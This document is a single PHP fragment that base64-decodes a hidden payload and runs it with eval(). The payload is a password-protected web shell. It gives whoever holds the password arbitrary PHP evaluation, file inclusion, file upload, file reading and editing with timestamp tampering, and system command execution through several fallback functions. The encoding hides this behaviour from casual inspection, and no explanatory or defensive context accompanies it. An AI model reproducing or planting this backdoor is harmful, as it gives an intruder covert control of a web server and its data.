$str = base64_decode('DQogIEBzZXRfdGltZV9saW1pdCgwKTsNCiAgQGVycm9yX3JlcG9ydGluZygyKTsNCiAgQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCiAgQGluaV9zZXQoJ3VwbG9hZF9tYXhfZmlsZXNpemUnLDEwNDg1NzYwKTsNCiAgQGluaV9zZXQoJ3Bvc3RfbWF4X3NpemUnLDEwNDg1NzYwKTsNCiAgQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsIHRydWUpOw0KICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLHRydWUpOw0KICBAaW5pX3NldCgncmVnaXN0ZXJfZ2xvYmFscycsdHJ1ZSk7DQogIEBpbmlfc2V0KCdyZWdpc3Rlcl9sb25nX2FycmF5cycsdHJ1ZSk7DQogIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLGZhbHNlKTsNCiAgQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLGZhbHNlKTsNCiAgQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsdHJ1ZSk7DQogICRzYWZlbW9kZT1AaW5pX2dldCgnc2FmZV9tb2RlJyk7DQogIA0KICAkbWFnaWNfcXVvdGVzPTE7DQogIGlmIChmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJykpICRtYWdpY19xdW90ZXM9Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTsNCiAgDQogICRwaHB2ZXIgPSBzdHJfcmVwbGFjZSgnLicsJycscGhwdmVyc2lvbigpKTsNCiAgaWYgKHN0cmxlbigkcGhwdmVyKTwzKSB3aGlsZSAoc3RybGVuKCRwaHB2ZXIpPDMpICRwaHB2ZXIuPScwJzsNCiAgaWYoaW50dmFsKCRwaHB2ZXIpIDwgNDEwKXsNCiAgICAkX1BPU1Q9JiRIVFRQX1BPU1RfVkFSUzsNCiAgICAkX0dFVD0mJEhUVFBfR0VUX1ZBUlM7DQogICAgJF9TRVJWRVI9JiRIVFRQX1NFUlZFUl9WQVJTOw0KICAgICRfQ09PS0lFPSYkSFRUUF9DT09LSUVfVkFSUzsNCiAgICAkX0ZJTEVTPSYkSFRUUF9QT1NUX0ZJTEVTOw0KICB9DQogIEBvYl9lbmRfY2xlYW4oKTsNCg0KICAkcHdfcGxzPSI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cHc+PC9mb3JtPiI7DQogIA0KICBpZiAoZW1wdHkoJF9QT1NUWydwdyddKSkgZXhpdCgkcHdfcGxzKTsNCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ3B3J10pICYmIG1kNSgkX1BPU1RbJ3B3J10pIT0nYTVkYzQ5N2M5Nzg0YTY3YjBhZTg1MDNjOWVhNGM3NGYnKSBleGl0KCRwd19wbHMpOw0KICANCiAgJHB3PSI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wdyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHcnXSkuIic+IjsNCg0KICBpZiAoIWVtcHR5KCRfUE9TVFsndXNlbW9kdWxlJ10pKSBpbmNsdWRlKCRfUE9TVFsndXNlbW9kdWxlJ10pOw0KICANCiAgJHdvcmtfZGlyID0gZ2V0Y3dkKCk7DQogIGlmIChzdHJwb3MoJHdvcmtfZGlyLCJcXCIpIT09ZmFsc2UpICR3b3JrX2Rpcj1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkd29ya19kaXIpOw0KICBpZiAoc3RycG9zKHN1YnN0cigkd29ya19kaXIsMCw1KSwiOiIpIT09ZmFsc2UpICRvcz0id2luIjsNCiAgZWxzZSAkb3M9Im5peCI7DQogIGlmICghZW1wdHkoJF9QT1NUWydjZCddKSkgJGNkPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2NkJ10pOw0KICBlbHNlICRjZCA9ICR3b3JrX2RpcjsNCiAgDQogIGlmIChpc19kaXIoJGNkKSkgY2hkaXIoJGNkKTsNCiAgDQogICRydW49KCRtYWdpY19xdW90ZXMpP3N0cmlwc2xhc2hlcygkX1BPU1RbJ3J1biddKTokX1BPU1RbJ3J1biddOw0KICAkZWRpdD1zdHJpcHNsYXNoZXMoJF9QT1NUWydlZGl0J10pOw0KICBpZiAoIUBpc19maWxlKCRlZGl0KSkgJGVkaXQ9JGNkOw0KICANCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2V2YWwnXSkpIGV2YWwoKCRtYWdpY19xdW90ZXMpP3N0cmlwc2xhc2hlcygkX1BPU1RbJ2V2YWwnXSk6JF9QT1NUWydldmFsJ10pOw0KICANCiAgaWYgKCFlbXB0eSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddKSAmJiBpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10pKSB7DQogICAgJHVwbG9hZGRpciA9IGVyZWdfcmVwbGFjZSgnLysnLCAnLycsICRjZC4iLyIpOw0KICAgICR1cGxvYWRmaWxlID0gJHVwbG9hZGRpci5iYXNlbmFtZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10pOw0KICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSk7DQogIH0NCiAgDQogIGlmIChpc3NldCgkX1BPU1RbJ3NhdmUnXSkpIHsNCglpZiAoJG1hZ2ljX3F1b3RlcykgJGNvbnNvbGUgPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb25zb2xlJ10pOw0KCWVsc2UgJGNvbnNvbGUgPSAkX1BPU1RbJ2NvbnNvbGUnXTsNCiAgICAkdGltZSA9IGZpbGVtdGltZSgkZWRpdCk7DQogICAgJGY9QGZvcGVuKCRlZGl0LCJ3Iik7DQogICAgaWYgKCRmKSB7DQogICAgICBmd3JpdGUoJGYsJGNvbnNvbGUpOw0KICAgICAgZmNsb3NlKCRmKTsNCiAgICAgIHRvdWNoKCRlZGl0LCR0aW1lKTsNCiAgICAgICRlZGl0PSRjZDsNCiAgICB9DQogIH0NCiAgDQogIGlmICghZW1wdHkoJGVkaXQpICYmIGZpbGVfZXhpc3RzKCRlZGl0KSAmJiBpc19maWxlKCRlZGl0KSAmJiAkZWRpdCE9PSRjZCkgew0KCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkZWRpdCk6aXNfd3JpdGFibGUoJGVkaXQpKSAkbmVlZF9zYXZlX2J1dHRvbj10cnVlOw0KICAgICRmPUBmb3BlbigkZWRpdCwiciIpOw0KICAgIGlmICgkZikgew0KICAgICAgaWYgKGZpbGVzaXplKCRlZGl0KT4wKSAkcmV0dmFsID0gQGZyZWFkKCRmLGZpbGVzaXplKCRlZGl0KSk7DQogICAgICBlbHNlICRyZXR2YWwgPSAiW2VtcHR5XSI7DQogICAgICBmY2xvc2UoJGYpOw0KICAgIH0gZWxzZSB7DQogICAgICAkcmV0dmFsID0gIkNhbid0IG9wZW4gZmlsZTogJGVkaXRcbiI7DQogICAgfQ0KICB9IGVsc2VpZiAoIWVtcHR5KCRydW4pKSB7DQogICAgJGNtZCA9ICRydW47DQogICAgJHJldHZhbCA9IG1hZ2ljX2V4ZWN1dGUoJGNtZCk7DQogIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkY2QpICYmIEBpc19kaXIoJGNkKSkgew0KICANCglpZiAoISRzYWZlbW9kZSkgDQoJew0KCQlpZiAoJG9zPT0nd2luJykgDQoJCXsNCgkJICANCgkJICAkY21kID0gImRpciAiLnN0cl9yZXBsYWNlKCIvIiwiXFwiLCRjZCk7DQoJCSAgJHJldHZhbCA9IG1hZ2ljX2V4ZWN1dGUoJGNtZCk7DQoJCX0NCgkgICAgZWxzZSANCgkJew0KCQkgICRjbWQgPSAibHMgLWxhIFwiJGNkXCIiOw0KCQkgICRyZXR2YWwgPSBtYWdpY19leGVjdXRlKCRjbWQpOw0KCQl9DQoJfQ0KICANCiAgICBpZiAoZW1wdHkoJHJldHZhbCkpDQoJew0KCQkkZGlyPSRjZDsNCgkJaWYoJGN1cmRpciA9IEBvcGVuZGlyKCRkaXIpKSB7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcigkY3VyZGlyKSkgew0KCQkgIGlmKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7DQoJCQkkc3JjZmlsZSA9ICRkaXIgLiAnLycgLiAkZmlsZTsNCgkJCWlmKGlzX2ZpbGUoJHNyY2ZpbGUpKSB7DQoJCQkJaWYgKCRvcz09J3dpbic/Y2FuX3dyaXRlKCRzcmNmaWxlKTppc193cml0YWJsZSgkc3JjZmlsZSkpICRyZXR2YWwgLj0gIisrICIuJGZpbGUuIlxuIjsNCgkJCQllbHNlICRyZXR2YWwgLj0gIi0tICIuJGZpbGUuIlxuIjsNCgkJCX0gZWxzZWlmKGlzX2Rpcigkc3JjZmlsZSkpIHsNCgkJCQlpZiAoJG9zPT0nd2luJz9jYW5fd3JpdGUoJHNyY2ZpbGUpOmlzX3dyaXRhYmxlKCRzcmNmaWxlKSkgJHJldHZhbCAuPSAiZCsgIi4kZmlsZS4iXG4iOw0KCQkJCWVsc2UgJHJldHZhbCAuPSAiZC0gIi4kZmlsZS4iXG4iOw0KCQkJfQ0KCQkgIH0NCgkJfQ0KCQljbG9zZWRpcigkY3VyZGlyKTsNCgkJfSBlbHNlICRyZXR2YWwgPSAiQ2FudCBvcGVuIGRpcmVjdG9yeVxuIjsNCgl9DQogICAgDQogICAgICANCiAgfQ0KICANCgkkaWRfZXhlYyA9ICJjYW50IGdldCB1aWQsZ2lkIjsNCiAgDQoJaWYgKCR0bXAgPSBtYWdpY19leGVjdXRlKCJpZCIpKSAkaWRfZXhlYyA9ICR0bXA7DQoJZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdpZCcpKQ0KCXsNCgkJJHVpZHMgID0gQHBvc2l4X2dldGxvZ2luKCk7DQoJCSRldWlkcyA9IEBwb3NpeF9nZXRsb2dpbigpOw0KCQkkdWlkICAgPSBAcG9zaXhfZ2V0dWlkKCk7DQoJCSRldWlkICA9IEBwb3NpeF9nZXRldWlkKCk7DQoJCSRnaWQgICA9IEBwb3NpeF9nZXRnaWQoKTsNCgkJaWYgKCFlbXB0eSgkdWlkKSkgJGlkX2V4ZWMgPSAiVXNlcjogdWlkPSR1aWRzKCR1aWQpIGV1aWQ9JGV1aWQoJGV1aWQpIGdpZD0kZ2lkKCRnaWQpIjsNCgl9ICANCiAgDQogIGVjaG8gJzxIVE1MPjxCT0RZIG9ubG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdjZGZvY3VzXCcpLmZvY3VzKCk7Ij48SFI+JzsNCiAgZWNobyBkYXRlKCJkLm0uWSBoOmkgQSIpLiIgT1M6JG9zICRpZF9leGVjIHNhZmVfbW9kZT0kc2FmZW1vZGUiOw0KICBlY2hvICI8SFI+IjsNCiAgaWYgKGlzc2V0KCRuZWVkX3NhdmVfYnV0dG9uKSkgZWNobyAiPEZPUk0gbWV0aG9kPXBvc3Q+IjsNCiAgZWNobyAnPFRFWFRBUkVBIGlkPSJjb25zb2xlIiBuYW1lPSJjb25zb2xlIiBzdHlsZT0id2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7Ij4nOw0KICBpZiAoaXNzZXQoJHJldHZhbCkpIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkcmV0dmFsKTsNCiAgZWNobyAnPC9URVhUQVJFQT4nOw0KICBpZiAoaXNzZXQoJG5lZWRfc2F2ZV9idXR0b24pKSBlY2hvICIkcHc8SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdjZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkY2QpLiInPjxJTlBVVCB0eXBlPSdoaWRkZW4nIG5hbWU9J2VkaXQnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGVkaXQpLiInPjxJTlBVVCB0eXBlPXN1Ym1pdCBuYW1lPXNhdmUgdmFsdWU9J1NhdmUnPjwvRk9STT4iOw0KICBlY2hvICI8SFI+PEZPUk0gbWV0aG9kPVwiUE9TVFwiPiRwdyI7DQogIGVjaG8gIjx0YWJsZT48dHI+PHRkPmRpcjo8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIj48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgaWQ9XCJjZGZvY3VzXCIgbmFtZT1cImNkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNkKS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+cnVuOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHN0eWxlPVwid2lkdGg6MTAwJTtcIiBuYW1lPVwicnVuXCIgdmFsdWU9XCJcIj48L3RkPjwvdHI+Ii4NCiAgICAgICAiPHRyPjx0ZD5lZGl0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPVwidGV4dFwiIHN0eWxlPVwid2lkdGg6MTAwJTtcIiBuYW1lPVwiZWRpdFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRlZGl0KS4iXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjwvdGFibGU+Ii4NCiAgICAgICAiPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk9LXCI+PC9GT1JNPiI7DQogICAgICANCiAgZWNobyAiPGhyPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgbWV0aG9kPVwicG9zdFwiPiRwdzxJTlBVVCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NkJyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRjZCkuIic+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiTUFYX0ZJTEVfU0laRVwiIHZhbHVlPVwiMTUwMDAwMDBcIiAvPnVwbG9hZDogPGlucHV0IG5hbWU9XCJ1c2VyZmlsZVwiIHR5cGU9XCJmaWxlXCIgLz48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwidXBsb2FkXCIgLz48L2Zvcm0+PGhyPiI7DQogIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PiRwdzx0ZXh0YXJlYSBzdHlsZT1cIndpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4O1wiICBuYW1lPSdldmFsJyBpZD0nZXZhbCc+cGhwaW5mbygpOzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFdmFsUEhQJz48L2Zvcm0+PGhyPiI7DQogIGVjaG8gInVzZSBtb2R1bGU6IDxmb3JtIG1ldGhvZD1wb3N0PiRwdzxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2Vtb2R1bGUnPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ndXNlJz48L2Zvcm0+PGhyPiI7DQogIGVjaG8gIjwvQk9EWT48L0hUTUw+IjsNCiAgDQogIGV4aXQoKTsNCiAgDQogIA0KICBmdW5jdGlvbiBjYW5fd3JpdGUoJGZpbGUpIHtpZihmaWxlX2V4aXN0cygkZmlsZSkpe2lmIChpc19maWxlKCRmaWxlKSkgeyRmPUBmb3BlbigkZmlsZSwiYSsiKTtpZigkZil7ZmNsb3NlKCRmKTtyZXR1cm4gdHJ1ZTt9fWVsc2VpZiAoaXNfZGlyKCRmaWxlKSkge2lmICgkZmlsZVtzdHJsZW4oJGZpbGUpLTFdIT0nLycpICRmaWxlLj0nLyc7JHRmaWxlID0gJGZpbGUuInRlc3R4eHh0ZXN0IjtpZiAoQHRvdWNoKCR0ZmlsZSkpe3VubGluaygkdGZpbGUpO3JldHVybiB0cnVlO319fXJldHVybiBmYWxzZTt9DQoJDQoJZnVuY3Rpb24gbWFnaWNfZXhlY3V0ZSgkY21kKQ0KCXsNCgkJJHJlcz1mYWxzZTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KCQl7DQoJCQlAZXhlYygkY21kLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfQ0KCQllbHNlDQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsNCgkJZWxzZQ0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJHJlczsNCgl9DQoNCg==');

echo eval($str);